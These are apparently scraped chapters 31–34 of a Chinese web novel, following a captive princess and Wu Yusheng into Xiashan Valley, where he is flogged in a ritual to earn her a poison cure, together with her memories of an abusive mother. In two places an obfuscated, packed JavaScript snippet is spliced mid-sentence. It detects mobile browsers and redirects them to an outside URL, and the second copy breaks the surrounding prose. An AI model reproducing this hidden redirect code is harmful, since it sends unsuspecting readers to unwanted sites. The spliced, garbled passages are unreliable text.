她觉得诃仁今日的话要格外多些,又在谈到身上毒时思绪清明一瞬,“母赫族,也知霞山谷。”随即又道,“诃仁,你继续说。我发现你说话能让我不再受此地所扰。” 身后的乌玉胜忽然抓住她的手,抓得她有些疼,“殿下,为何不让我跟你说话?” 31. 第三十一话 前面是一条分岔路口,朱辞秋拉拉绳子示意诃仁停一下后便顿在原地转过头。日光让她不自觉眯起双眼,帽纱被一阵风吹动,乌玉胜忽然伸出手将被风吹起的帽纱拉紧,隔绝半空中的细微沙尘。 诃仁被迫停在原地,头也不转地突然扯了把绳子,她正欲回头时,乌玉胜上前一步,原先抓着她胳膊的手将她往前一拉,让她跌入他怀中。 帷帽的帽沿磕在他胸膛处,帽纱也随着动作飘了几下。 她抬起头,手掌抵着他胸膛,想与他拉开距离,但乌玉胜用手紧紧扣着她的腰,让她挣脱不了一点,于是她冷声道:“闹够没有?” 乌玉胜扣着她腰的手指不自觉轻轻捏了下她的外衫,空闲的那只手伸进帷帽中,轻轻碰了下她有些干裂的嘴唇。她来不及反应,面前的男人却又在听见诃仁转身后迅速收回手,后退一步站回原地,但双眼仍死死盯着她。 乌玉胜眼底的情绪隔着帽纱,她看不清。只听见他轻声开口:“殿下,清醒了吗?” 此时身后的诃仁也骤然开口:“站在这等着被晒成人干吗?” 她沉默地看了眼乌玉胜后又转身看向满脸烦躁的诃仁,抬手指了指前面的分岔路,问他:“走哪边?” 诃仁冷哼一声,转过身抬手示意跟在他身后。 他蹲在路口摆了个与先前相同模样的小石堆,便带着他们往右边的小路而去。 进入这条小道后,三人谁都没有说话,朱辞秋右手搭着左手手腕,若觉自己坚持不下来时便狠狠掐住手腕,让痛感代替混沌,使她重新打起精神。 身后的乌玉胜似乎也察觉到她的动作,默默走在她身旁,用手轻轻握住她右手手腕往下拉,示意她不要再搭着左手。 朱辞秋沉默着放下手,乌玉胜却又握住她左手,俯身低头一瞬,在她耳旁小声道:“掐我吧。” 她一边往前走,一边侧头看了他一眼。听见这话忽然笑了,紧接着便抬起右手覆在乌玉胜手上。 乌玉胜的手大,手腕也粗,朱辞秋一只手抓不住他的手腕,便曲着手指捏住他手腕上的肉,往右狠狠一拧。 本以为是极重的力气了,但这厮眉头都没皱一下,甚至眼底还有莫名其妙的笑意,连嘴角也勾起一瞬。 朱辞秋抬眼又垂眸,晃眼间看见他虎口处的那道牙印,手上的动作顿了下便收回手,只专心跟在诃仁身后走着路。 但乌玉胜却不乐意,迈着步子往前侧身,又抓着她的手覆在他手腕处。 这次她没理会身旁这个莫名其妙的男人,但这样交叠着手的姿势实在不太方便走路,于是她便迅速抽回手。乌玉胜这时也松开手,却又立马握住她的手。 他的手仍旧冰凉,让她有些温热的手掌被刺激地抖了下,但那双大掌将她的手紧紧包裹住,她怎么挣脱都挣脱不开。 诃仁似乎忍无可忍般转过头,视线看向她与乌玉胜紧握住的手,抬眼看了眼她,又看了眼乌玉胜,嘴角扯出一丝弧度,发出一阵冷笑后回头大步流星地往前走。 朱辞秋被迫加快了步子,乌玉胜便又拽了拽连在他们身上的绳子,诃仁不慢反快,却也快看见下个路口时逐渐慢下来。 他们一直在这些石柱与岩壁间游走,每处岩壁在朱辞秋眼中都长得一样,若非诃仁摆弄那些小石堆提醒方位,恐怕她早已以为他们一直在原地打转。 日落黄昏又至,已经一天未进水食,又在日头下暴露着,饶是身旁的乌玉胜一直握着她的手,也让她视线与思绪都逐渐模糊混沌,看着又到了一个路口,她停下来,忍着喉咙的干燥撕痛,开口问诃仁:“还有多久?” 诃仁的声音也没好到哪儿去,但他中气却比她足不少:“过了这个路口,再走十多里便到了。” 她听后点了点头,见诃仁背对着她看不见,于是又道:“挺快的。” 诃仁摆好石头,站起身拍拍手,转头望了她一眼,用手指了指自己,“那是有我带路才快!若我不在,你跟乌玉胜至少得绕个三五日,他更别提他只来过两次,这万一把你带入魔鬼窟,你俩就得死在这。就像……”他回头思考了下,一面往前走一面继续道,“就像你们大雍人说的什么来着?对!我想起来了,就像是一对亡命鸳鸯。” 他说得很笃定,却叫朱辞秋笑出声来,“你的中原话,跟乌玉阙不相上下。” 诃仁听出她的嘲讽意味,十分不乐意:“别拿我跟他比。” 身旁乌玉胜忽然捏了捏她的手,将她拽到他身旁,又开口对诃仁说:“不想吃沙土就闭上嘴。” 话音未落,四周便刮起一阵风,卷起沙尘吹过他们身侧。 诃仁挥手拍走散在身上的沙土,吐出一句:“你还真是个乌鸦嘴。” 黑夜将近,岩壁与岩壁间刮起的风愈来愈大,地上的沙石与不知名的矮株草木也逐渐被吹动,在寂静的四周发出沙沙又哗哗的声音。 朱辞秋口干舌燥,已经不想再多说一个字,身上的体热因为一直走动未曾停歇休息,在黑夜中不降反升,甚至还叫乌玉胜那双冰冷的手也逐渐变得暖和起来。 走过最后一条羊肠小道,穿过层层岩壁与石柱,植被渐多起来,岩壁逐渐减少,视野也愈发开阔。 乌玉胜与诃仁同时拿出火折子点燃,朱辞秋抬头,看见今夜星辰格外闪烁,残月挂于天边,就如在大雍观星台看过的一般。 又走了大约一个时辰,他们终于穿过岩壁,到了开阔之地。但这开阔之地也并不平坦,在身旁火折子的微光下,朱辞秋能看清远处无数层层交叠的山坡,山坡上有无数树木,坡下是数不尽的房屋,她也能看清在黑夜中户户都亮着点点星光。 诃仁解开腰上的绳子,抬手指向前方,道:“这才是真正的霞山谷。” 她正要让乌玉胜放手,解开自己腰上的绳子时,后者却主动松手替她解开了绳子。于是她摘下帷帽,余光瞥见乌玉胜将绳子解下收好后便抬步往前走去。 越走近她才发现,那些山坡并不小,反而就像山一般大,而那些层层山坡后是更巨大的雪山,好像将整个霞山谷包裹在其中。若非亲眼所见亲身经历,她怎么也不会想到,草原上的裂谷下,能通向这样的天地。 乌玉胜走在她身侧,自然地拿过她手中的帷帽,又对她道:“方才的裂谷,只是障眼法。此处已不在裂谷内。”他顺着她的视线,将火折子往前递了递,指向远处层层山坡后的雪山,“那是真正的神山,天神山。” 她顿了下,自然地问道:“喜塔拉呢?” 乌玉胜回答:“天神山是南夏最高的雪山,所以南夏人将这里视作神山之心,喜塔拉群山远不上此处。” “所以,巫族人,才是真正的南夏之主。”诃仁歪了下头,忽然开口。 朱辞秋看了他一眼,不置可否。 所谓神山之心与先前所见连绵起伏的喜塔拉群山,只不过是因为处于同一山脉而已。 她肉眼看着那些房屋与火光愈来愈近,但其实他们仍旧走了好长一段距离。 待走近后,诃仁却停在原地抬起手,侧头看着她,带着痞气的笑容一闪而过,又看向她身旁的乌玉胜,挑了挑眉,“你该不会忘了吧?霞山谷的人有个习惯。” 不等她问,一旁的乌玉胜却似反应过来般,忽然凑到她身旁,将手中的帷帽重新戴在她头上,又从怀中掏出一块黑布。 “殿下,他们不喜外人清醒入内。”乌玉胜掀起帽纱,将黑布覆在她双眼上,继续道,“此布上有杜大夫的销魂散,只一个时辰,殿下便会醒来。” 朱辞秋并不挣扎,只是静静地摸了摸眼上的黑布,鼻尖确实闻到一股熟悉的气味,头果然愈来愈晕,但仍然坚持 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“废话,这屋子到处都是尸体,我自然也得吃。” 朱辞秋静默一瞬,仍然想摘下黑布。 但她刚抬手,便被诃仁拉住手腕,他声音不似先前悠闲,反而带着些危险:“殿下,我劝你别摘。” 这才是乌玉胜不在时,他对她的真正态度。 但这样的模样也只持续了一瞬便消失不见,他又恢复成吊儿郎当的模样,“毕竟我看了这场景都想吐。” 朱辞秋忽然想起荒原上被马蹄践踏的尸体,那样血淋淋的场景她都已见识过了,还有什么可怕的呢。 况且,她方才听见了木柴燃烧之声,谁会将尸体放在有火堆的地方? 她朝诃仁出声的方向笑了笑,迅速将他的手甩开,又抬手解开覆在双眼上的黑布。 屋内的亮光比她想得要亮,让她眼睛紧闭一瞬又缓缓睁开。 首先映入眼帘的,只有诃仁那张未得逞皱着眉的脸,她看着他脸上的神情,不消看四周的环境,便知这个人方才是在诓她。 她随意扫了下屋内,分明只是间普通的木屋。 “我说殿下,你怎么就不上当呢?”诃仁站起身,将她摘下的黑布扔在不远处的火坑里。 “你很无聊。” “我觉得你好像已经说过我很多次无聊了。” “不记得了。”她从床上下来,看向门外,问道,“乌玉胜呢?” 诃仁挡在门前,双手环胸,“你不问我为何不提前摘你眼睛上的布?” 朱辞秋看着他沉默半晌,“你先回答我,乌玉胜呢?” “死了。”诃仁靠在门上,抬起下巴,眼神轻蔑,“毕竟杀了他,王族可就无回天之力了。巫族便是南夏之主,我,便是新任的领主。” 空气忽然凝固,四周寂静得可怕。 “是吗。”她突然走近诃仁,离他只有半寸之地,笑得明艳,语气也愈发温和,“那你可真是,帮我大忙了。” 面前的诃仁愣怔地看着她,但很快又恢复正常,挑眉道:“你不信?” 朱辞秋并不回答他,只是抬起头,用手抓住他的胳膊,又踮起脚,凑到他耳边轻声开口:“首领大人,我要怎么报答你呢?” 诃仁不知是被她突然的靠近吓了一跳,还是因为她所说的这句话,环着胸的手僵住一瞬,表情也有些呆愣。她趁此时,另一只手已摸向背部的腰封里侧,将阿静雅给她的那把匕首拔出。 “咚”的一声,她紧紧攥住匕首,将它极速地插在诃仁耳侧寸尺之地。 朱辞秋拔出匕首,往后退了一步,将匕首指向诃仁,声音如冰:“告诉我,他去哪了。” 32. 第三十二话 “你为何一定要知道他在何处?” 诃仁回过神,看着她手中的匕首,眼底狠戾暴露在明面上。 他一步步靠近她,将她逼至角落。食指与中指夹着匕首,另一只手按住她手腕,强行从她手中抽出匕首,将匕首左右翻动两下,又还给了她。 “这些伎俩威胁,可伤不到我。况且现在这情况,我劝殿下还是先与我和平相处吧。” “首领大人说得是。”她收回匕首,用下巴点了点门口,“我只是想知晓,乌玉胜去哪儿了。” “怎么,殿下就如此离不开你这位明面上的丈夫?” 朱辞秋闻言,眼神不自觉一凌却又立马转为平常模样,笑道:“你说得不错。” 诃仁一怔,随即反应过来,哈哈大笑:“你这样的话可别叫他听见了,不然照他对你余情未了的样子,怕是会当真的。” 她沉默须臾,也扯了扯嘴角,冷静开口:“乌玉胜,出事了。” 这下诃仁是真的愣在原地说不出话了。 她不用看现在诃仁的脸色,只睁开眼的瞬间没有看见乌玉胜,便知道他出事了。 这样的情况下,乌玉胜绝不会将她扔给诃仁,亦不会让她独自一人待在此地。 说来真的可笑,分明该互相为仇敌的两人,却又格外信任彼此。她不得不承认,睁开眼那一瞬间,未听见乌玉胜的声音那一刹那,她是害怕的。 就算表面上说的再难听,做得再绝情,就算再不愿承认自己内心深处的情感,她都无可避免地因身处陌生之地时,他突然消失而感到不安,与害怕。 “霞山谷有个规矩,不知道殿下是否知道?”诃仁忽然开口,未待朱辞秋回答,他便自顾自往下说着,“你不知道。你只知道母赫族有个私生女,她母亲曾是霞山谷的药师,所以你赌那私生女知道霞山谷的路。你义无反顾地吃下回转丹,是用命在赌生路。” “但殿下,乌玉胜不是傻子。他猜出你身上有毒,让我在西岭守株待兔,以防你做些不要命的事来。事实也证明,他赌对了。” “在这里,只有他最珍视你的命了,只有他,想让你活着。” 诃仁转过身,走至门口,将手覆在门把上,头也不回地说完最后一句:“而殿下你,也知道他猜出了你身上的毒,所以又利用他。我说得对吗?” 他不等她回答,自顾自地将门打开,嘈杂的人声扑面而来,吵得她心烦意乱。 几乎是本能地跟在诃仁身后,连四周都没有仔细观察,只随意掠过几眼便垂眸看着脚下的路。 诃仁说得没错,在乌玉胜将她带到杜大夫处时,她便已经猜出他不只是为了替她疗愈手伤。而她内心里,其实也并不想叫他知道此事,所以将这些猜测自欺欺人般全部抹除。 再到诃仁将她从西岭带走,她猜出绝非偶然相遇,却并未往乌玉胜身上想,直到入了巫族才做了猜测。那巫族老大夫来替她把脉时,她也真心想瞒着乌玉胜,没有任何其他理由,只如她当时所想那般,不想叫第二人知晓此事。 也只是因为,这是她自己选择的路,不欲依靠旁人。 她抬起头,看向四周暗中打量她的霞山谷的人,最终将视线定在面前诃仁的背影上,几近无声地开口:“这次,我未利用他。” 诃仁脚步似乎顿了下,又继续往前走。 她被诃仁带着穿过灯火通明的间间木屋,走到一处被众人围着的巨大祭台处。 诃仁吹了声口哨,那些包围着的人们自觉让出一条空道,她又被诃仁拉着往前走。 祭台并不昏暗,反而明亮得有些过分。那些火把聚集在中心,照亮祭台中央处,跪在地上的,上半身赤裸的人。 那是乌玉胜,他背对着她,看不见她来了。 两旁站着手持倒刺长鞭的男人,对面是花白胡子的老者,正举着竹简念念有词。 而此时乌玉胜背上已经有了许多交叠的鞭伤,血渍沾满整个背部,也滴落在地上。 朱辞秋与诃仁被拦在一尺外,她听不清老者在念什么,也听不懂。她眼里只能看见那些血渍与横贯在乌玉胜整个背部的鞭伤。 “这叫献礼。”诃仁在她身旁小声开口,“外族若想在霞山谷解毒,便要本族人献礼,受百道倒刺鞭,听礼师诵读三个时辰,未倒下者,便有资格引外族来此解毒。” 她这次,是真的愣在原地,连呼吸都停滞几瞬,“为何,外界从未听说此事?” “鲜少有人来此,自然无人提及。”诃仁冷笑一声,“你知道,上一次来此受献礼之人是谁吗?” 她此刻无甚心情同诃仁一问一答,于是身旁的男人自顾自回答:“是乌图勒。” 听见这四个字,她的视线才从跪在中央的乌玉胜身上移开,看向诃仁。 “二十三年前,乌玉胜母亲身中剧毒,是乌图勒闯入此地受献礼救回了她,也救了乌玉胜。不然,早已没有乌玉胜这个人了。” 跪在中央身上血淋淋的男人似乎感觉到什么,在老者停顿休息时转过头看向朱辞秋的方向。在乌玉胜看清她时,她也看清他脸上的惊异,也看见他朝诃仁使着眼色,想让诃仁将她带离此地。 但诃仁无动于衷,她也无动于衷。 随后老者便又开始诵读,身旁握着长鞭的男人挡住乌玉胜的视线,也叫朱辞秋看不见他了。 诃仁沉默了一会,又开口:“若我不带殿下来此,殿下一辈子都不会知晓此事。” “我已经告诉过殿下,乌玉胜当年是逃出南夏的。他在大雍的七年,是真把自己当穆家人。”他顿了顿,侧头看了朱辞秋一眼,“分明是你们大雍自己人内斗,你却要让他险些丧命。怀宁殿下,你午夜梦回时,良心可曾难安过?” 朱辞秋抬眼,看着替乌玉胜抱不平的诃仁,又看向祭台中央,冷淡开口:“他没长嘴吗?需要你来替他解释。” 诃仁愣了下,随即笑出声,“殿下还真是,冷血之人。”他叹了口气,啧啧两声,“当年若非杜大夫路过救之,他怕早已是你剑下亡魂,饶是救下也未好到哪里去,至今心脉不全需时刻吃护心之药。可他却仍对你不死心,知道你们大雍豺狼虎豹如洪水猛兽般,不顾乌图勒反对仍要你做和亲公主与他成婚,只为保你一命。” “奴营的那场火,我还挺希望你被烧死在里面。”诃仁笑了笑,说出的话却冷漠无情,“那日你猜对了,是我设计的,我觉得你这样冷血的女人,会耽误我们的大事。但他竟然放下王族之事,直奔你而来,还来得如此快,我想杀你,都杀不成。” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438459|141496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佩服你,但更想杀了你。你活在世上,会让乌玉胜失去理智。” 朱辞秋沉默须臾,声音平淡道:“说够了吗?” 诃仁嗯哼一声。此时老者的诵读声忽然结束,乌玉胜两旁的男子站开,又举起手中倒刺长鞭。 她思绪被那两人手中的长鞭牵制些许,长鞭挥舞在空中,破空声在她耳畔响起,就像是夏日闷雷般猛烈。 本就血迹斑驳伤□□叠的背部,又新添一道又一道鞭伤。鲜血将倒刺鞭染红,也将她的双眼染红。 她垂眸一瞬,双手紧紧攥着衣摆,止不住地发着抖。胸口就像是洪水决堤般,让深处的血肉倾泻而出,将浑身上下的痛感散发到极致,心口被血肉填堵,被揪成一块,让她喘不过气,连牙齿都在止不住发着颤。 诃仁似乎察觉到她的异样,又嘲讽地笑了两声,“原来你并非毫无感觉。” 他伸出手捏住她的后脖颈,让她抬起头,继续看着乌玉胜受刑。 乌玉胜半趴在地上,一动也不动,但背上血肉横飞,血渍四溅,就像在把他往死里打。 打了二十鞭,两旁的男人停了下来。 她死命挣脱诃仁的束缚,扭头看向他,学着他的模样冷笑道:“我该有什么感觉?太可笑了你们,以为这样才能让我心软不再与你们作对?” 她抬手指向乌玉胜,盯着面前沉默的诃仁:“他在大雍七年,从未说过他的身世。与南夏打仗时,公然与乌图勒密会,被关狱中两月之久从未有过一句辩驳,我千里奔去,他却只叫我信他。” 不只是被诃仁所说的话刺激到,还是因为乌玉胜背上的伤,让她情绪渐渐有些失控,那些埋藏在心底许久的事情霎时奔涌而出,她压着声音,语气有些撕裂,“他是少了舌头还是断了手,需要你来替他解释?穆家人因他灭门,十三州因他而失,你们族人至今将我的子民作奴隶,你在这里替他喊冤?” 她突然觉得这样一直翻旧账很没意思,语气渐渐歇了下来:“但凡当年他解释清楚一句,对那些口诛笔伐的文官澄清一句,我都能保他一线生机。可他没有,他在保着那个我不知道的人,为了那个人,他宁愿死,宁愿将守了七年的十三州拱手让与南夏。” “你——”诃仁有些愣怔,眼睛睁大些许,“你知道他——” 她抬起头,眼中冷然又绝情,“我知道。” 诃仁静默地看着她,面上表情变幻莫测,“那你还将他——”他忽然反应过来,看了看乌玉胜,又看了看她,觉得很荒谬地笑了两声,“原来你也是个不长嘴的人。” 朱辞秋扭头不再看他,只看向刚受完刑想要扭头看向她的乌玉胜。 火光下,满是鲜血与伤口的背部愈发狰狞可怖,乌玉胜面色惨白,她能看清他脸上细密的汗珠与溅在脸上的血渍。 分明身上的伤口都已经那么多了,却还要给她使眼色让她快点离开。 她却不回应他,只是死死地盯着那些伤口。乌玉胜已经痛得连头都抬不起来,身体也直不起来了。 “怀宁殿下,我只替他再问最后一句。当年乌玉胜坠崖后,你可曾去寻过他?” 她头也不回,右手因为紧紧攥着衣摆而疼痛难耐,但她也并不想松开手,“我也问你一句,你与他,是何关系?” 33. 第三十三话 诃仁静默,并不回答。 那老者的诵读声忽然大了起来,那些听不懂的话语响彻在朱辞秋耳边,又看见中央拿着倒刺鞭的男人反手拉起乌玉胜,让他重新跪着直起上半身。 “他受了多少鞭了?”话说出口时,她才惊觉自己语气里竟有些颤音。 “六十。”诃仁回答,又接了句,“销魂散其实能叫你昏迷三个时辰,但我给你喂了解药。我要叫你看清楚,他为了你,就快丢掉第二条命了。若此时是你跟母赫族的那女人来此,没有人会救你的。现在你明白了吗,能救你的,只有他。” 听完这些话,她垂下眼帘后退一步,沉默一瞬后出声:“能救我的,只有我自己。” 诃仁从鼻腔发出一阵嘲讽之声,朱辞秋不受其扰,继续道:“若我提前知晓,如今在祭台受刑之人,只会是我自己。” “你?你是本族人?”诃仁似乎觉得她在逞口舌之快。 “我与他成了亲,怎么不是?”言罢,她不欲再多说什么,也不再多看受刑的乌玉胜半眼,更不愿再施舍给诃仁任何一个眼神。 正欲转身离开此地时,诃仁却猛地拉住她手腕,将她扯回原地,“你还没回答我,当年你有没有去找过他。” 朱辞秋甩手挣开他的束缚,却又被再次缠上,她忍无可忍地抬起头,心中的厌烦与愤怒彻底摆在脸上,眼睛里的怒火将面前的男人照得一愣,但声音却尚有冷静:“你若有本事,便叫他自己来问我。若他真有与我说开一切之心,又何必要你来做让我妥协与他的说客。” “那你就不想知道我与他的关系了?” 她冷笑一声,并不回答他的话,只是道:“你与他有共同利益,我所做之事与你们所做之事相悖,他不惜舍权助我,也要护我周全。你们的计划被打断了吧,所以你才想杀了我。” “但你忽然觉得,既然他那么舍不下我,不如让我知道他对我所做的一切,让我对他心软,从而放弃与他纠缠,这样既不用不杀我也让他如愿以偿,你们的计划也能安然继续下去,甚至还能让我为你们所用。”她顿了顿,余光中瞧见乌玉胜仍跪在原地,头又偏了偏,想要看向她。但似乎因伤势太重,面前身后亦有钳制他的人,叫他现下并不能再看见她。 朱辞秋忽然抬头,看向眼前的诃仁,眼中露出讽刺,“你真的以为你洞察了我和他?” 诃仁一愣,不自觉出声:“你什么意思?” 她趁机挣开诃仁的手,眼睛扫向乌玉胜一瞬便迅速移开,用极低的声音说了句:“我与他,无须亲口言明一切。”随即抬眼看向诃仁,声音大了些,继续道,“他护的那个人,在大雍,因此不想让我归国。而我要回去,杀了那个人。我与他,目的相悖,绝不会因如今他的所作所为而心软。” “况且这是他自愿为之,非我强迫。我为何要妥协?为何要心软?” “他为了你这女人的命,连自己的命都要没了,却仍旧得不到你一丝一毫的关心,真可怜。”诃仁指向乌玉胜,有些气笑了。 她沉默须臾,也笑了。 一直都是这样,从来没有人,问过她愿不愿意被人瞒着保护着。好像他们这样做,都是在为她好。所有人都觉得,因为他们是在为她好,所以她就该在知道后,将那些欺瞒与从不商量告知的事情全部抛之,然后对他们感恩戴德。 就像母后从小到大都在让她无止境地学女工,学琴棋书画。 每年,每月中有十几天都要站三个时辰,让她反省为何连一只荷包都绣不好、为何跳不出真正的让人赏心悦目的舞、又为何连最简单的曲子都弹不出来。 母后面对她时从来都是严厉与无情。从她出生到母后身死,从未施舍过她一个笑脸。 她甚至为了不让她有心爱之物,将小狗活生生打死在她面前。 他们都在告诉她,她是为让她在宫中,在大雍贵族中站稳脚跟,也为了不给贵妃一族留下把柄,是为了让她不被挑出一丝一毫的错处,是在保护她安然无恙地活在尔虞我诈的宫中。 一开始,她是愿意相信的,也愿意听话,将那些委屈憋闷藏在心中。 在父皇默许下,宫中所有人都在配合着母后,看管着她。所以她一年被罚站早已是家常便饭,而那些被关在密室的次数更是数不胜数,在阴暗潮湿的环境中,她从害怕哭泣祈求,变得无所畏惧甚至有了恨意。 可笑的是,母后死前都要拉着她的手,说她所做的一切都是为了她好。 可她那时,早已连被她碰到衣袖都觉得恶心无比。 所以她俯身在母后耳边说:“所有人都说你为我好,怎么连你也当真了呢?你难道不是最恨我吗,我所受的一切都是你为了折磨我。” 她那时才十三岁,如今已经不记得母后当时的表情,但她说出来之后却无比畅快,笑容也更真了几分。 “你的第一个孩子被人毒死后,太医查出你又有了身孕,你觉得是我夺走了那本该成为太子的天之骄子,所以恨我,恨我夺走了他的命,也恨我既然夺了,又为何不是个男子,是个毫无用处的女子。” 母后弥留之际,情绪也变得激烈,她的表情仿佛在告诉她,这样的答案,才是真正的,她被那本该生来就爱她的母亲一直虐待的事实。 她永远都记得,一辈子都不会忘记。十二岁的那年生辰,有人一把火烧了晨星楼,她被困在里头出不来。 火光下,烟雾里,被烧断的房梁与墙门间,她看见母后奔她而来。 她张开双臂,拖着笨重的身躯往前跑去,想要抱住那个她本以为担心她的母亲。因为害怕与恐惧,她身体瘫软,被倒塌的房梁砸中,咳出的血吐了满地。 十二岁的她,眼睁睁看见母后视若无睹地掠过她,朝晨星楼的储物室奔去。她被房梁压倒在地,趴在地上又眼睁睁地看着她抱着一堆玩具与衣物,逃了出去。 从头至尾,她没有管她,哪怕是连眼神,都未曾施舍给她一眼。 是乌玉胜,冒着生命危险闯入即将倒塌的晨星楼,凭一己之力抬起房梁,将她从大火中救了出来。也是乌玉胜告诉她,母后曾有个儿子,那是她的哥哥,他告诉她,那些事情从不是为她好,让她不要再顺从。 所以她原以为,乌玉胜是不一样的。 老者的诵读再次结束,鞭声又响在她耳侧,心也跟着鞭声而剧烈地跳动着。 当年火光中的少年如神兵天降般找到她,抱起她,救她于水火之中。如今少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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既然有人喜欢扮英雄当好汉,她不会拦着他,也不会坐以待毙。 诃仁彻底沉默了。快走回木屋时,他却又再次开口:“他分明是为了你好。你若回到南夏,不说在暗处的人,只说你们那个监国的太子与那些文武百官,每人一口唾沫便能将你淹死。” 朱辞秋最讨厌“为了你好”这四个字。 “这难道不是拜你们所赐?”她冷声道,“乌图勒在大雍安插细作,盗取军机。十三州尽失,让穆家人被诬陷成叛国之贼,也让我成为国贼。” 未等诃仁开口,她便又讽刺一笑:“乌玉胜究竟许诺了你什么,能让你如此信任他,甚至能让你如此操心。” “我这人就爱管闲事,见不得你这么冷心绝情的女人。”诃仁回答的并不真,随即便又开口,“还有,我再重申一遍,后面两年是你们大雍内部狗咬狗,我们只是正常攻打。当时乌图勒安插的细作早已被你杀完了。” 朱辞秋不想再与他谈论此事,沉默半晌后忽然问道:“他受刑后,会被带去何处?” 诃仁顺口回答:“没死的话自然是医室,死了就随便找个坑埋了呗。” 她停在原地,转身看向诃仁,镇定道:“带我去医室。” 34. 第三十四话 话音未落,远处忽然响起三声钟鸣,寂静的谷中被钟声震醒,窸窸窣窣的人声从两旁交错的木屋中传出来。 她扭头看了一眼祭台的方向,复抬起头看向诃仁。后者站在原地,神情变幻莫测。 良久,他才转身抬步前行。却不是往那间木屋而去,而是带着她穿过木屋,往更深处走。越往前走,树木越多,她借着诃仁手中火折子的微微火光能够看清远处高耸入云的层层树群,也能看清小路右侧有一条浅沟溪流,溪流旁有着无数或大或小的石头。 走过树群,便能看见中间有一处极大的空地,那里全是围着木栏的木屋,那些木屋将中间的道路留了出来,背后是连绵的山与继续往前延伸的树群和溪流。从中间的路往前望去,便能看见天神山。似乎愈往前走,便愈靠近南夏人口中的,那座真正的神山。 天微亮,诃仁吹灭手中的火折子,带着她在一处最大的两层木屋,左右两旁还有两间小屋的围栏门口处停下来。 他轻叩了三下门,叩门声刚落,里头便有人缓缓打开正门,走向围栏的门口。 朱辞秋抬头望去,看见一名年轻女子。 女子穿的窄袖袍,头发扎成了马尾,眉眼凌厉。她停在门口,却不开门,而是双手环胸,先是看了一眼诃仁,又将视线定在她身上,上下扫视一圈又再次看向诃仁,用下巴点了点她,声音听不出喜怒,“她是谁?” “大雍的公主。”诃仁回答,顿了下又补充道,“乌玉胜的妻子。” 女子神情有细微变化,她放下手,一面打开门一面又道:“献礼结束了吗?” 诃仁“嗯”了声,在门刚打开后便抬步入内,不再管朱辞秋,径直掠过女子往正屋去。 朱辞秋也后他一步入内,正欲往前走时,女子叫住了她,她侧头看去,女子给她指了指右侧的偏房,平淡开口:“你去那里。” “为何?”她看了一眼正屋,又看向女子,态度十分恭谦,挑不出一点错来,“敢问姑娘,此处有何讲究?我并无他意,只是毕竟是首领带我来此的,应当以他所去方向为先,得跟着他才对。” 女子沉默一瞬,语气与态度仍与先前一样,“没有什么讲究,只不过稍后他们会将乌少主送入医室疗伤,血腥场面你这样的弱女子见得?” 朱辞秋笑了笑,看向女子淡色的眼眸,“我若见不得,便不会跟来此地。” 女子愣了下,有些意外,“我还以为是诃仁胁迫你来的。”随即恢复平淡的语气,又看了她一眼,“你倒是与其他大雍女人不太一样。” 她只是淡淡笑了下,站在原地等女子先行一步后才跟在她后面往主屋,也就是女子所说的医室去。 推门入内后,视线不由自主地环顾四周。里面很大,且有浓重的药味,以及轻微的血腥气。 最中央摆着两个像民间话本中所说的炼丹炉一样大的器皿,下头的柴火滋滋地燃烧着,火光与屋内四周的烛火,照得房间明亮又暖和。 到处都是药柜,有紧闭的也有敞开的,器皿对面的两张大方桌并排,上头的瓶瓶罐罐与医书杂乱地摆着,还有些她不认识的药材摆在那。 女子带着她到了楼梯处,她忽然踢到一样物件,略微退后一步低头查看时,才发现那是人的头骨。 女子随意地看了眼,便抬脚踹走头骨,示意她往楼上走。 刚走到楼梯拐弯处,便听见上面有老者的声音传来:“西琳!” 这名叫西琳的女子脚步顿了下,便又一面上楼一面高声回答:“干嘛?” “我的马奶酒呢!” “在窗前的桌上。” 话音刚落,朱辞秋便踏上了最后一节楼梯。 楼上要比楼下整齐许多,楼梯口左侧有两间房门紧闭的房间,对面有张小桌子,诃仁正坐桌旁看向窗外。 他听见上楼的动静后只偏头看了一眼她,便又朝窗外看去。 此时一扇紧闭的木门打开来,一名满头花白的老者手里拿着个囊袋仰头喝了一口里头的马奶酒,喝完才将眼神定在她身上。他眯着眼睛上下扫视一圈朱辞秋,又坐在诃仁对面,顺着他的视线也朝窗外看去。 “西琳,将伤室打开,备好东西。”老者不再看窗外,只靠着椅背看向诃仁,声音苍老却又带着些强势,“诃仁首领,坐够了就去把王族那小子抬上来。” 诃仁转过头,“他们难不成能将他扔在路边不送进来?老头儿,你干嘛支开我?” 老者从袖中甩出银针,钉在了诃仁的木椅上,“你走不走?” 诃仁硬气回答:“不走。” 于是老者笑着点了点头,说了个“好“,然后便将囊袋放在桌上,站起身走向朱辞秋。 “你就是杜世安说的那个女娃?” 朱辞秋一愣。 老者看着她的神情,眼底闪过一丝惊讶,“怎么,杜世安没告诉你?” “原来你不知道?”诃仁这下又来劲了,他凑到他们跟前,看着她道,“我还以为乌玉胜带你去找杜大夫的时候,你便已经知道他与这老头儿相熟了。” 她这下彻底明了了,那名叫杜世安的杜大夫又忽悠了她,什么不清楚药材,做不出解药,都是幌子。 他故意引她来此地,恐怕不仅仅是为了解毒。 “虽然杜世安已经写信向我言明,但霞山谷的规矩不能破。”老者摸了摸胡子,“不过王族的那位小少主,死不了。你也不必担心。” 她抬眼,淡然一笑,并不接他的话,只略带着些真切的求知,问老者:“你们二人,一人在深山老林,一人在外界难入的谷中,是如何通信的?” 老者一怔,随即笑道:“杜世安说过一句话,叫做山人自有妙计。” 不等她回话,便朝诃仁开口:“你确定你不出去?” 诃仁摇头,又坐回原位。 